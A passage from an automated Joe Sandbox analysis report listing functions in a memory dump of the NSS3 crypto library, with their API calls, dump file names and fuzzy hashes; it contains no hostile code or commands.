Instruction ID: 5213ebbc7e7d88a97b3da54426a3cc5fb7e0d7a08312b06403d7c4ab14af25a2
Opcode Fuzzy Hash: 7bcd50d02d79a3e27689d35080448768c28dc32086b29d3b5f580a3c904782c8
Instruction Fuzzy Hash: EC717071D10786ABEB00CF55CD40BAABBA4FF95348F158269E848D7B11FB70E994CB90

Function 6C580FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C581057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C581085
PK11_GetAllTokens.NSS3 ref: 6C5810B1
free.MOZGLUE(?), ref: 6C581107
PR_SetError.NSS3(00000000,00000000), ref: 6C581172
free.MOZGLUE(?), ref: 6C581182
free.MOZGLUE(?), ref: 6C5811A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C5811C5

Part of subcall function 6C5852C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C55EAC5,00000001), ref: 6C5852DF
Part of subcall function 6C5852C0: EnterCriticalSection.KERNEL32(?), ref: 6C5852F3
Part of subcall function 6C5852C0: PR_Unlock.NSS3(?), ref: 6C585358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5811D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C5811F3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 09953e1b07fb48bc643d605efa3df784f49da3c826aa6abe68639372de844cdf
Instruction ID: 7a3ac5a21e7eae0b11324b7c16e736f85a3b74ffe4aa6f873d75c69f4d8a3ec4
Opcode Fuzzy Hash: 09953e1b07fb48bc643d605efa3df784f49da3c826aa6abe68639372de844cdf
Instruction Fuzzy Hash: 3A6182B0E02355DBEB00DFA5DC81BABB7B5AF44348F144128E82AAB741EB31E944CB55

Function 6C584A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6C584A4B
PK11_GetInternalSlot.NSS3 ref: 6C584A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C584AC6
TlsGetValue.KERNEL32 ref: 6C584B17
EnterCriticalSection.KERNEL32(?), ref: 6C584B2B
PR_Unlock.NSS3(?), ref: 6C584B77
PK11_FreeSymKey.NSS3(?), ref: 6C584B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C584B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C584BA9
PR_SetError.NSS3(00000000,00000000), ref: 6C584BC1

Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307AD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307CD
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C4C204A), ref: 6C5307D6
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C4C204A), ref: 6C5307E4
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,6C4C204A), ref: 6C530864
Part of subcall function 6C5307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C530880
Part of subcall function 6C5307A0: TlsSetValue.KERNEL32(00000000,?,?,6C4C204A), ref: 6C5308CB
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308D7
Part of subcall function 6C5307A0: TlsGetValue.KERNEL32(?,?,6C4C204A), ref: 6C5308FB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: e5a283b77fb4c6891d364d128d6f5623e842cec50f56bf1b5fa79697a06745d5
Instruction ID: a1add0bd87ab1402c022d89326455b59173254a57ca2c27c25e2bbf9e83de9d1
Opcode Fuzzy Hash: e5a283b77fb4c6891d364d128d6f5623e842cec50f56bf1b5fa79697a06745d5
Instruction Fuzzy Hash: 4D5181B5E012299BDB00DFA9DC91AAFB7F9EF48318F144129EC05A7701E735ED108BA1

Function 6C58ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE10
EnterCriticalSection.KERNEL32(?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C56D079,00000000,00000001), ref: 6C58AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AE7F
TlsGetValue.KERNEL32(?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AEF1
free.MOZGLUE(6C56CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C56CDBB,?), ref: 6C58AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C56CDBB,?,6C56D079,00000000,00000001), ref: 6C58AF30

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 35806d6f7b329d9a1ce24dae949c62ac5d217482e81b240b38804d5adae4d9cf
Instruction ID: 51204d4cc940ece7678b4f838ff492b17e0300952a94ddb4964558915c3a4464
Opcode Fuzzy Hash: 35806d6f7b329d9a1ce24dae949c62ac5d217482e81b240b38804d5adae4d9cf
Instruction Fuzzy Hash: 4051ADB5A02612EFDB00DF25DC85B5AB7B4FF48318F144A64E80997A51E731F8A4CBE1

Function 6C564CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C56AB7F,?,00000000,?), ref: 6C564CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C56AB7F,?,00000000,?), ref: 6C564CC8
TlsGetValue.KERNEL32(?,6C56AB7F,?,00000000,?), ref: 6C564CE0
EnterCriticalSection.KERNEL32(?,?,6C56AB7F,?,00000000,?), ref: 6C564CF4
PL_HashTableLookup.NSS3(?,?,?,6C56AB7F,?,00000000,?), ref: 6C564D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C564D10

Part of subcall function 6C5EDD70: TlsGetValue.KERNEL32 ref: 6C5EDD8C
Part of subcall function 6C5EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C5EDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C564D26

Part of subcall function 6C609DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DC6
Part of subcall function 6C609DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C650A27), ref: 6C609DD1
Part of subcall function 6C609DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C609DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C564D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C564DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C564E02

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 8790969e485b81a831b998fb271e3773abfc7b880716a7b79e50b3107e485041
Instruction ID: f3c11c811671ed2041fcaf74773f4ac4a8c1d86fda17bd946b50d84e51f46135
Opcode Fuzzy Hash: 8790969e485b81a831b998fb271e3773abfc7b880716a7b79e50b3107e485041
Instruction Fuzzy Hash: 6941A4B6E00205EBEB01DF26EC9496A77B8AF45258F044571EC0987B21FB31DD28C7D2

Function 6C5E4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6C5DAEC0,00000A20,00000000), ref: 6C5E4A8B

Part of subcall function 6C5A0D30: calloc.MOZGLUE ref: 6C5A0D50
Part of subcall function 6C5A0D30: TlsGetValue.KERNEL32 ref: 6C5A0D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6C5E4AAA

Part of subcall function 6C59FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB85
Part of subcall function 6C59FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C59FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6C5E4ABD

Part of subcall function 6C5A0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C542AF5,?,?,?,?,?,6C540A1B,00000000), ref: 6C5A0F1A
Part of subcall function 6C5A0F10: malloc.MOZGLUE(00000001), ref: 6C5A0F30
Part of subcall function 6C5A0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C5A0F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6C5E4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6C5E4AEC

Part of subcall function 6C59FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C598D2D,?,00000000,?), ref: 6C59FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6C5E4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6C5E4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C5E4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5E4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6C5E4B7E

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: 801e315ec489d88111d20629b36fb67f0216b2ad14b32a6a28344bc597d1ce53
Instruction ID: bfe61a15683022e824b5a88288c74233e4ea9151567b2e66da4119f42756782e
Opcode Fuzzy Hash: 801e315ec489d88111d20629b36fb67f0216b2ad14b32a6a28344bc597d1ce53
Instruction Fuzzy Hash: C631ADB5500241AFDB10DF65DC81A9BBBBCEF49248B044569FD4AC7B02F731E909CBA1

Function 6C5689C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C56AE9B,00000000,?,?), ref: 6C5689DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C542D6B,?,?,00000000), ref: 6C5689EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C542D6B), ref: 6C568A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C542D6B,?), ref: 6C568A11

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 8b901f675cf7baa7ce90d8416f0a68e8025824cb9e87728f06c11be29092612a
Instruction ID: 0fecff5b35861164ec46667875c002bc6ce6a5183d42a7f76786d67235d02e55
Opcode Fuzzy Hash: 8b901f675cf7baa7ce90d8416f0a68e8025824cb9e87728f06c11be29092612a
Instruction Fuzzy Hash: 0F11EBF1A01340A6FB005A676C81BBB7558DB8276DF080036ED099AF62F762DD18C3B3

Function 6C542E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C542CDA,?,00000000), ref: 6C542E1E

Part of subcall function 6C59FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C549003,?), ref: 6C59FD91
Part of subcall function 6C59FD80: PORT_Alloc_Util.NSS3(A4686C5A,?), ref: 6C59FDA2
Part of subcall function 6C59FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C5A,?,?), ref: 6C59FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C542E33

Part of subcall function 6C59FD80: free.MOZGLUE(00000000,?,?), ref: 6C59FDD1

TlsGetValue.KERNEL32 ref: 6C542E4E
EnterCriticalSection.KERNEL32(?), ref: 6C542E5E
PL_HashTableLookup.NSS3(?), ref: 6C542E71
PL_HashTableRemove.NSS3(?), ref: 6C542E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C542E96
PR_Unlock.NSS3 ref: 6C542EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C542EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C542EC5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 934488e554e8a5cd6eed31ca0ce216a6d72ed4b33bdaf5bf33020af91e7eec3b
Instruction ID: c33537090c0618b16fb9fccb1adc48c5ac09707bd331b089c48c1f86428c27c5
Opcode Fuzzy Hash: 934488e554e8a5cd6eed31ca0ce216a6d72ed4b33bdaf5bf33020af91e7eec3b
Instruction Fuzzy Hash: 0821D072A40111A7EB005B67AC49EAB3B79AF92349F044120ED1CC6721FB32E968D6A5

Function 6C5D0690 Relevance: 15.1, APIs: 10, Instructions: 57threadCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000000,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D0695

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PR_NewLock.NSS3(00000000,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D06A1

Part of subcall function 6C6098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C609946
Part of subcall function 6C6098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C4C16B7,00000000), ref: 6C60994E
Part of subcall function 6C6098D0: free.MOZGLUE(00000000), ref: 6C60995E

PR_GetCurrentThread.NSS3(00000000,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D06BB
DeleteCriticalSection.KERNEL32(?,00000000,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D06D1
free.MOZGLUE(?,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D06D8
PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,?,6C5D0642,?,?,6C5D477E,00000000), ref: 6C5D06F4

Part of subcall function 6C5EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C5EC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C5D070A
free.MOZGLUE(?), ref: 6C5D0711
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C5D072D
PR_SetError.NSS3(?,00000000), ref: 6C5D0738

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$CriticalSectionfree$DeleteLock$CountCurrentInitializeLastSpinThreadValuecalloc
String ID:
API String ID: 3345202482-0
Opcode ID: 25350c8adba312116de5ba94ffeabf92ace568185bc1f94dff46c77e50596a6b
Instruction ID: 8baf3fd65271cfa421ac5a4d7a7e829f2fe63fab5517613461ab69b627a34644
Opcode Fuzzy Hash: 25350c8adba312116de5ba94ffeabf92ace568185bc1f94dff46c77e50596a6b
Instruction Fuzzy Hash: 3311E571B416026BDB14AFAA9C49B4F3B78ABC6719F110026E90E9BB00E771F415879D

Function 6C5E66A0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(00000000), ref: 6C5E690A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5E6999
PK11_ImportDataKey.NSS3(00000000,0000402A,00000004,0000010C,?,00000000), ref: 6C5E69E3

Part of subcall function 6C5CF060: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,hrr ech accept confirmation,?,6C5E67A0,?,?,?), ref: 6C5CF08A

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5E6A1F
PK11_FreeSymKey.NSS3(?), ref: 6C5E6A3F
PK11_FreeSymKey.NSS3(?), ref: 6C5E6A58

Part of subcall function 6C5CEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5CEE85

Part of subcall function 6C5CEE50: realloc.MOZGLUE(99F052DF,?), ref: 6C5CEEAE
Part of subcall function 6C5CEE50: PORT_Alloc_Util.NSS3(?), ref: 6C5CEEC5
Part of subcall function 6C5CEE50: htonl.WSOCK32(?), ref: 6C5CEEE3
Part of subcall function 6C5CEE50: htonl.WSOCK32(00000000,?), ref: 6C5CEEED
Part of subcall function 6C5CEE50: memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C5CEF01

Strings

ech accept confirmation, xrefs: 6C5E66BE
hrr ech accept confirmation, xrefs: 6C5E66C3, 6C5E6A9B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$FreeUtil$ErrorItem_Zfreehtonl$Alloc_DataImportmemcpyrealloc
String ID: ech accept confirmation$hrr ech accept confirmation
API String ID: 316861715-779126823
Opcode ID: d9990af32bb61288b1c647b05408ae1e8d5eb2eb2781127317cba0bda7b48086
Instruction ID: fba6907219ca5008fad003755c542be3e845089c08a8227b2402c0b1e56c8438
Opcode Fuzzy Hash: d9990af32bb61288b1c647b05408ae1e8d5eb2eb2781127317cba0bda7b48086
Instruction Fuzzy Hash: 0AB1DCB6A04305ABF700DE649C01FAB76E8AF8474CF040928FE55D6641FB71EA198797

Function 6C4CCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C4CB999), ref: 6C4CCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C4CB999), ref: 6C4CD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C4CB999), ref: 6C4CD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C4CB999), ref: 6C61972B

Strings

%s at line %d of [%.10s], xrefs: 6C4CCFEC, 6C4CD018, 6C4CD029, 6C4CD03F, 6C61978B
database corruption, xrefs: 6C4CCFE7, 6C4CD013, 6C4CD028, 6C4CD039, 6C4CD03E, 6C619786
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4CCFDD, 6C4CD00E, 6C4CD022, 6C4CD033, 6C619780

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 3f1b46f4e431c8d13e462a7965133565ac9d22df3e65958d9363550bc7a54d32
Instruction ID: 557c0330e6b865587b7e534c1bec4792accda941802c3ffdcbd9d124ad0fa460
Opcode Fuzzy Hash: 3f1b46f4e431c8d13e462a7965133565ac9d22df3e65958d9363550bc7a54d32
Instruction Fuzzy Hash: 08611675A042108BD310CF29C840FA6B7F5EF95319F2845ADE4499BB82D376D847CBA6

Function 6C652680 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_release_memory.NSS3(PR_Select(),PR_Poll()), ref: 6C65269F
calloc.MOZGLUE(00000014,00000008), ref: 6C6526E0
